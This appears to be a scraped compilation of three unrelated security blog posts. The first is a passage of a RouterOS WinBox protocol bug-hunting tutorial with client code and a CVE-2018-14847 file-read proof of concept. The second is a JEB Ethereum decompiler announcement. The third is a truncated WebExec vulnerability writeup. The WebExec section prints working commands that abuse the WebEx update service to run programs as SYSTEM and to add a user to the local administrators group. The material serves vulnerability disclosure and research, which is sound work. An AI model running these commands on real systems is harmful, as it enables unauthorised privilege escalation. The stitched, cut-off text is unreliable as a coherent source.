lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var

Hack the Box

When looking for vulnerabilities it’s helpful to have access to the target’s filesystem. It’s also nice to be able to run tools, like GDB, locally. However, the shell that RouterOS offers isn’t a normal unix shell. It’s just a command line interface for RouterOS commands.

Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs you can create the file and insert any commands you want. The exact process takes too many words to explain. Instead I made a video. The screen recording is five minutes long and it goes from VM installation all the way through root telnet access.

With root telnet access you have full control of the VM. You can upload more tooling, attach to processes, watch logs, etc. You’re now ready to explore the router’s attack surface.

Is Anyone Listening?

You can quickly determine the network reachable attack surface thanks to the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an administrative tool that runs on Windows. It shares all the same functionality as the Telnet, SSH, and HTTP interfaces.

Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you ask?

The Real Attack Surface

The ps output makes it appear as if there are only a few binaries to bug hunt in. But nothing could be further from the truth. Both the HTTP server and Winbox speak a custom protocol that I’ll refer to as WinboxMessage (the actual code calls it nv::message). The protocol specifies which binary a message should be routed to. In truth, with all packages installed, there are about 90 different network reachable binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that the WinboxMessage protocol uses to determine where a message should be handled.

Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton programthat you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;
WinboxMessage msg;

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looperconstructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown. You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
std::cout << "req: " << msg.serialize_to_json() << std::endl;
if (!winboxSession.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
std::cerr << msg.get_error_string() << std::endl;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler. It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

  1. Opens a file in /var/pckg/ for writing.
  2. Writes to the open file.
  3. Opens a file in /var/pckg/ for reading.
  4. Reads the open file.
  5. Cancels a file transfer.
  6. Creates a directory in /var/pckg/.
  7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_commandcode. You’ll also want to insert the add_string. I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.add_string(1, "list"); // the file to open

std::cout << "req: " << msg.serialize_to_json() << std::endl;
if (!winboxSession.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.


I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!


( Original text by  )

We’re very excited to announce that the pre-release of our Ethereum smart contract decompiler is available. We hope that it will become a tool of choice for security auditors, vulnerability researchers, and reverse engineers examining opaque smart contracts running on Ethereum platforms.

TL;DR: Download the demo build and start reversing contracts

Keep on reading to learn about the current features of the decompiler; how to use it and understand its output; its current limitations, and planned additions.

This opaque multisig wallet is holding more than USD $22 million as of 10/26/2018 (on mainnet, address 0x3DBB3E8A5B1E9DF522A441FFB8464F57798714B1)

Overall decompiler features

The decompiler modules provide the following specific capabilities:

  • The decompiler takes compiled smart contract EVM 1 code as input, and decompiles them to Solidity-like source code.
  • The initial EVM code analysis passes determine contract’s public and private methods, including implementations of public methods synthetically generated by compilers.
  • Code analysis attempts to determine method and event names and prototypes, without access to an ABI.
  • The decompiler also attempts to recover various high-level constructs, including:
    • Implementations of well-known interfaces, such as ERC20 for standard tokens, ERC721 for non-fungible tokens, MultiSigWallet contracts, etc.
    • Storage variables and types
    • High-level Solidity artifacts and idioms, including:
      • Function mutability attributes
      • Function payability state
      • Event emission, including event name
      • Invocations of address.send() or address.transfer()
      • Precompiled contracts invocations

On top of the above, the JEB back-end and client platform provide the following standard functionality:

  • The decompiler uses JEB’s optimizations pipeline to produce high-level clean code.
  • It uses JEB code analysis core features, and therefore permits: code refactoring (eg, consistently renaming methods or fields), commenting and annotating, navigating (eg, cross references), typing, graphing, etc.
  • Users have access to the intermediate-level IR representation as well as high-level AST representations though the JEB API.
  • More generally, the API allows power-users to write extensions, ranging from simple scripts in Python to complex plugins in Java.

Our Ethereum modules were tested on thousands of smart contracts active on Ethereum mainnet and testnets.

Basic usage

Open a contract via the “File, Open smart contract…” menu entry.

You will be offered two options:

  • Open a binary file already stored on disk
  • Download 2 and open a contract from one of the principal Ethereum networks: mainnetrinkebyropsten, or kovan:
    • Select the network
    • Provide the contract 20-byte address
    • Click Download and select a file destination
Open a contract via the File, Open smart contract menu entry

Note that to be recognized as EVM code, a file must:

  • either have a “.evm-bytecode” extension: in this case, the file may contain binary or hex-encoded code;
  • or have be a “.runtime” or “.bin-runtime” extension (as generated by the solc Solidity compiler), and contain hex-encoded Solidity generated code.

If you are opening raw files, we recommend you append the “.evm-extension” to them in order to guarantee that they will be processed as EVM contract code.

Contract Processing

JEB will process your contract file and generate a DecompiledContract class item to represent it:

The Assembly view on the right panel shows the processed code.

To switch to the decompiled view, select the “Decompiled Contract” node in the Hierarchy view, and press TAB (or right-click, Decompile).

Right-click on items to bring up context menus showing the principal commands and shortcuts.
The decompiled view of a contract.

The decompiled contract is rendered in Solidity-like code: it is mostly Solidity code, but not entirely; constructs that are illegal in Solidity are used throughout the code to represent instructions that the decompiler could not represent otherwise. Examples include: low-level statements representing some low-level EVM instructions, memory accesses, or very rarely, goto statements. Do not expect a DecompiledContract to be easily recompiled.

Code views

You may adjust the View panels to have side-by-side views if you wish to navigate the assembly and high-level code at the same time.

  • In the assembly view, within a routine, press Space to visualize its control flow graph.
  • To navigate from assembly to source, and back, press the TAB key. The caret will be positioned on the closest matching instruction.
Side by side views: assembly and source

Contract information

In the Project Explorer panel, double click the contract node (the node with the official Ethereum Foundation logo), and then select the Description tab in the opened view to see interesting information about the processed contract, such as:

  • The detected compiler and/or its version (currently supported are variants of Solidity and Vyper compilers).
  • The list of detected routines (private and public, with their hashes).
  • The Swarm hash of the metadata file, if any.
The contract was identified as being compiled with Solidity <= 0.4.21


The usual commands can be used to refactor and annotate the assembly or decompiled code. You will find the exhaustive list in the Action and Native menus. Here are basic commands:

  • Rename items (methods, variables, globals, …) using the N key
  • Navigate the code by examining cross-references, using the X key (eg, find all callers of a method and jump to one of them)
  • Comment using the Slash key
  • As said earlier, the TAB key is useful to navigate back and forth from the low-level EVM code to high-level decompiled code

We recommend you to browser the general user manual to get up to speed on how to use JEB.

Rename an item (eg, a variable) by pressing the N key

Remember that you can change immediate number bases and rendering by using the B key. In the example below, you can see a couple of strings present in the bad Fomo3D contract, initially rendered in Hex:

All immediates are rendered as hex-strings by default.
Use the B key to cycle through base (10, 16, etc.) and rendering (number, ascii)

Understanding decompiled contracts

This section highlights idioms you will encounter throughout decompiled pseudo-Solidity code. The examples below show the JEB UI Client with an assembly on the left side, and high level decompiled code on the right side. The contracts used as examples are live contracts currently active Ethereum mainnet.

We also highlight current limitations and planned additions.

Dispatcher and public functions

The entry-point function of a contract, at address 0, is generally its dispatcher. It is named start() by JEB, and in most cases will consist in an if-statement comparing the input calldata hash (the first 4 bytes) to pre-calculated hashes, to determine which routine is to be executed.

  • JEB attempts to determine public method names by using a hash dictionary (currently containing more than 140,000 entries).
  • Contracts compiled by Solidity generally use synthetic (compiler generated) methods as bridges between public routines, that use the public Ethereum ABI, and internal routines, using a compiler-specific ABI. Those routines are identified as well and, if their corresponding public method was named, will be assigned a similar name __impl_{PUBLIC_NAME}.

NOTE/PLANNED ADDITION: currently, JEB does not attempt to process input data of public routines and massage it back into an explicit prototype with regular variables. Therefore, you will see low-level access to CALLDATA bytes within public methods.

A dispatcher.

Below, see the public method collectToken(), which is retrieving its first parameter – a 20 byte address – from the calldata.

A public method reading its arguments from CALLDATA bytes.

Interface discovery

At the time of writing, implementation of the following interfaces can be detected: ERC20, ERC165, ERC721, ERC721TokenReceiver, ERC721Metadata, ERC721Enumerable, ERC820, ERC223, ERC777, TokenFallback used by ERC223/ERC777 interfaces, as well as the common MultiSigWallet interface.

Eg, the contract below was identified as an ERC20 token implementation:

This contract implements all methods specified by the ERC20 interface.

Function attributes

JEB does its best to retrieve:

  • low-level state mutability attributes (pure, read-only, read-write)
  • the high-level Solidity ‘payable’ attribute, reserved for public methods

Explicitly non-payable functions have lower-level synthetic stubs that verify that no Ether is being received. They REVERT if it is is the case. If JEB decides to remove this stub, the function will always have an inline comment /* non payable */ to avoid any ambiguity.

The contract below shows two public methods, one has a default mutability state (non-payable); the other one is payable. (Note that the hash 0xFF03AD56 was not resolved, therefore the name of the method is unknown and was set to sub_AF; you may also see a call to the collect()’s bridge function __impl_collect(), as was mentioned in the previous section).

Two public methods, one is payable, the other is not and will revert if it receives Ether.

Storage variables

The pre-release decompiler ships with a limited storage reconstructor module.

  • Accesses to primitives (int8 to int256, uint8 to uint256) is reconstructed in most cases
  • Packed small primitives in storage words are extracted (eg, a 256-bit storage word containing 2x uint8 and 1x int32, and accessed as such throughout the code, will yield 3 contract variables, as one would expect to see in a Solidity contract
Four primitive storage variables were reconstructed.

However, currently, accesses to complex storage variables, such as mappings, mappings of mappings, mappings of structures, etc. are not simplified. This limitation will be addressed in the full release.

When a storage variable is not resolved, you will see simple “storage[…]” assignments, such as:

Unresolved storage assignment, here, to a mapping.

Due to how storage on Ethereum is designed (a key-value store of uint256 to uint256), Solidity internally uses a two-or-more indirection level for computing actual storage keys. Those low-level storage keys depend on the position of the high level storage variables. The KECCAK256 opcode is used to calculate intermediate and final keys. We will detail this mechanism in detail in a future blog post.

Precompiled contracts

Ethereum defines four pre-compiled contracts at addresses 1, 2, 3, 4. (Other addresses (5-8) are being reserved for additional pre-compiled contracts, but this is still at the ERC stage.)

JEB identifies CALLs that will eventually lead to pre-compiled code execution, and marks them as such in decompiled code: call_{specific}.

The example below shows the __impl_Receive (named recovered) method of the 34C3 CTF contract, which calls into address #2, a pre-compiled contract providing a fast implementation of SHA-256.

This contract calls address 2 to calculate the SHA-256 of a binary blob.

Ether send()

Solidity’s send can be translated into a lower-level call with a standard gas stipend and zero parameters. It is essentially used to send Ether to a contract through the target contract fallback function.

NOTE: Currently, JEB renders them as send(address, amount) instead of address.send(amount)

The contract below is live on mainnet. It is a simple forwarder, that does not store ether: it forwards the received amount to another contract.

This contract makes use of address.send(…) to send Ether

Ether transfer()

Solidity’s transfer is an even higher-level variant of send that checks and REVERTs with data if CALL failed. JEB identifies those calls as well.

NOTE: Currently, JEB renders them as transfer(address, amount) instead of address.transfer(amount)

This contract makes use of address.transfer(…) to send Ether

Event emission

JEB attempts to partially reconstruct LOGx (x in 1..4) opcodes back into high-level Solidity “emit Event(…)”. The event name is resolved by reversing the Event method prototype hash. At the time of writing, our dictionary contains more than 20,000 entries.

If JEB cannot reverse a LOGx instruction, or if LOG0 is used, then a lower-level log(…) call will be used.

NOTE: currently, the event parameters are not processed; therefore, the emit construct used in the decompiled code has the following form: emit Event(memory, size[, topic2[, topic3[, topic4]]]). topic1 is always used to store the event prototype hash.

An Invocation of LOG4 reversed to an “emit Deposit(…)” event emission


JEB API allows automation of complex or repetitive tasks. Back-end plugins or complex scripts can be written in Python or Java. The API update that ship with JEB 3.0-beta.6 allow users to query decompiled contract code:

  • access to the intermediate representation (IR)
  • access to the final Solidity-like representation (AST)

API use is out-of-scope here. We will provide examples either in a subsequent blog post or on our public GitHub repository.


As said in the introduction, if you are reverse engineering opaque contracts (that is, most contracts on Ethereum’s mainnet), we believe you will find JEB useful.

You may give a try to the pre-release by downloading the demo here. Please let us know your feedback: we are planning a full release before the end of the year.

As always, thank you to all our users and supporters. -Nicolas

  1. EVM: Ethereum Virtual Machine 
  2. This Open plugin uses Etherscan to retrieve the contract code 

Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we’ve dubbed «WebExec».

Картинки по запросу WebExecThe summary is: a flaw in WebEx’s WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That’s right: this client-side application that doesn’t listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it’s patched.

High level details and FAQ at! Below is a technical writeup of how we found the bug and how it works.


This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

If you have any questions or concerns, I made an email alias specifically for this issue:!

You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!


During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We’re calling the class «thank you for your service», because we can, and are crossing our fingers that more are out there!

The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We’ve tested some older and newer versions since then, and they are still vulnerable.

WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on

The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you’re concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:


That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

Privilege Escalation

What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called «webexservice» that can be started and stopped by anybody. That’s not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that’s SYSTEM). That’s an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

Due to the application whitelisting, however, on this particular assessment we couldn’t simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it’s a service, it runs with the working directory c:\windows\system32, and we couldn’t write to that folder!

At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let’s take a look

Deep dive into WebExService.exe

It’s not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

  .rdata:00405438 ; wchar_t aSCreateprocess
  .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
  .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0

I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

  .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
  .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
  .text:0040255A                 push    0               ; lpCurrentDirectory
  .text:0040255C                 push    0               ; lpEnvironment
  .text:0040255E                 push    0               ; dwCreationFlags
  .text:00402560                 push    0               ; bInheritHandles
  .text:00402562                 push    0               ; lpThreadAttributes
  .text:00402564                 push    0               ; lpProcessAttributes
  .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
  .text:0040256C                 push    0               ; lpApplicationName
  .text:0040256E                 push    [ebp+phNewToken] ; hToken
  .text:00402574                 call    ds:CreateProcessAsUserW

The W on the end refers to the UNICODE («wide») version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you’ll find everything you need to know.

In any case, the two most important arguments here are hToken — the user it creates the process as — and lpCommandLine — the command that it actually runs. Let’s take a look at each!


The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what’s going on. Trying to understand what code’s doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you’ll see shortly.

At the top of the function, we see:

  .text:0040241E                 call    ds:CreateToolhelp32Snapshot

This is a normal way to search for a specific process in Win32 — it creates a «snapshot» of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

Based simply on knowledge of the APIs, we can deduce that it’s searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

  .text:00402480                 lea     eax, [ebp+Str1]
  .text:00402486                 push    offset Str2     ; "winlogon.exe"
  .text:0040248B                 push    eax             ; Str1
  .text:0040248C                 call    ds:_wcsicmp
  .text:00402492                 add     esp, 8
  .text:00402495                 test    eax, eax
  .text:00402497                 jnz     short loc_4024BE

Specifically, it’s comparing the name of each process to «winlogon.exe» — so it’s trying to get a handle to the «winlogon.exe» process!

If we continue down the function, you’ll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That’s another common sequence of API calls — it’s how a process can get a handle to another process’s token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

An interesting takeaway here is that I didn’t really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!


This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don’t be discouraged by this quick summary — I’m skipping an awful lot of dead ends and validation to keep just to the interesting bits.

One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I’d have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea — I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

C:\Users\ron>sc start webexservice

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)

You may need to configure Event Viewer to show everything in the Application logs, I didn’t really know what I was doing, but eventually I found a log entry for WebExService.exe:

  ExecuteServiceCommand::Not enough command line arguments to execute a service command.

That’s handy! Let’s search for that in IDA (alt+T)! That leads us to this code:

  .text:004027DC                 cmp     edi, 3
  .text:004027DF                 jge     short loc_4027FD
  .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
  .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
  .text:004027EB                 push    2               ; wType
  .text:004027ED                 call    sub_401770

A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn’t take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let’s try it:

C:\Users\ron>sc start webexservice a b


Then check Event Viewer again:

  ExecuteServiceCommand::Service command not recognized: b.

Don’t you love verbose error messages? It’s like we don’t even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

  .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
  .text:00402830                 push    dword ptr [esi+8]
  .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
  .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
  .text:0040283D                 push    2               ; wType
  .text:0040283F                 call    sub_401770

If we scroll up just a bit to determine how we get to that error message, we find this:

  .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
  .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
  .text:00402802                 push    dword ptr [esi+8] ; lpString1
  .text:00402805                 call    ds:lstrcmpiW
  .text:0040280B                 test    eax, eax
  .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
  .text:0040280F                 mov     [ebp+var_4], eax
  .text:00402812                 lea     edx, [esi+0Ch]
  .text:00402815                 lea     eax, [ebp+var_4]
  .text:00402818                 push    eax
  .text:00402819                 push    ecx
  .text:0040281A                 lea     ecx, [edi-3]
  .text:0040281D                 call    sub_4025A0

The string software-update is what the string is compared to. So instead of b, let’s try software-update and see if that gets us further! I want to once again point out that we’re only doing an absolutely minimum amount of reverse engineering at the assembly level — we’re basically entirely using API calls and error messages!

Here’s our new command:

C:\Users\ron>sc start webexservice a software-update


Which results in the new log entry:

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Exception code: 0xc0000005
  Fault offset: 0x00002643
  Faulting process id: 0x654
  Faulting application start time: 0x01d42dbbf2bcc9b8
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Report Id: 31555e60-99af-11e8-8391-0800271677bd

Uh oh! I’m normally excited when I get a process to crash, but this time I’m actually trying to use its features! What do we do!?

First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you’ll know that it’s a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

The first thing I tried was the brute-force approach: let’s add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren’t present.

So I started the service with the following commandline:

C:\Users\ron>sc start webexservice a software-update a b c d e f


That led to a new crash, so progress!

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
  Exception code: 0x40000015
  Fault offset: 0x000a7676
  Faulting process id: 0x774
  Faulting application start time: 0x01d42dbc22eef30e
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
  Report Id: 60a0439c-99af-11e8-8391-0800271677bd

I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard — probably a failed assert()? We don’t really have any output, so it’s hard to say.

This one took me awhile, and this is where I’ll skip the deadends and debugging and show you what worked.

Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you’ll see this function call:

  .text:0040281D                 call    sub_4025A0

If you jump into that function (double click), and scroll down a bit, you’ll see:

  .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"

I used the most advanced technique in my arsenal here and googled that string. It turns out that it’s a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That’s a great sign, it means we’re almost there!

A little bit after, in the same function, we see this code:

  .text:004026A2                 push    eax             ; EndPtr
  .text:004026A3                 push    esi             ; Str
  .text:004026A4                 call    ds:wcstod ; <--
  .text:004026AA                 add     esp, 8
  .text:004026AD                 fstp    [esp+0B4h+var_90]
  .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
  .text:004026B5                 jnz     short loc_4026C2
  .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
  .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)

The line with an error — wcstod() is close to where the abort() happened. I’ll spare you the debugging details — debugging a service was non-trivial — but I really should have seen that function call before I got off track.

I looked up wcstod() online, and it’s another of Microsoft’s cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don’t know exactly what it does from there, but we can assume that it’s looking for a number somewhere.

This is where my advice becomes «be lucky». The reason is, the only number that will actually work here is «1». I don’t know why, or what other numbers do, but I ended up calling the service with the commandline:

C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6

And checked the event log:

  StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).

That looks awfully promising! I changed 2 to an actual process:

  C:\Users\ron>sc start webexservice a software-update 1 calc c d e f

And it opened!

C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K

It actually runs with a GUI, too, so that’s kind of unnecessary. I could literally see it! And it’s running as SYSTEM!

Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

Local exploit

The simplest exploit is to start cmd.exe with wmic.exe:

C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"

That opens a GUI cmd.exe instance as SYSTEM:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

nt authority\system

If we can’t or choose not to open a GUI, we can also escalate privileges:

C:\Users\ron>net localgroup administrators

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add

C:\Users\ron>net localgroup administrators

And this all works as an unprivileged user!

Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

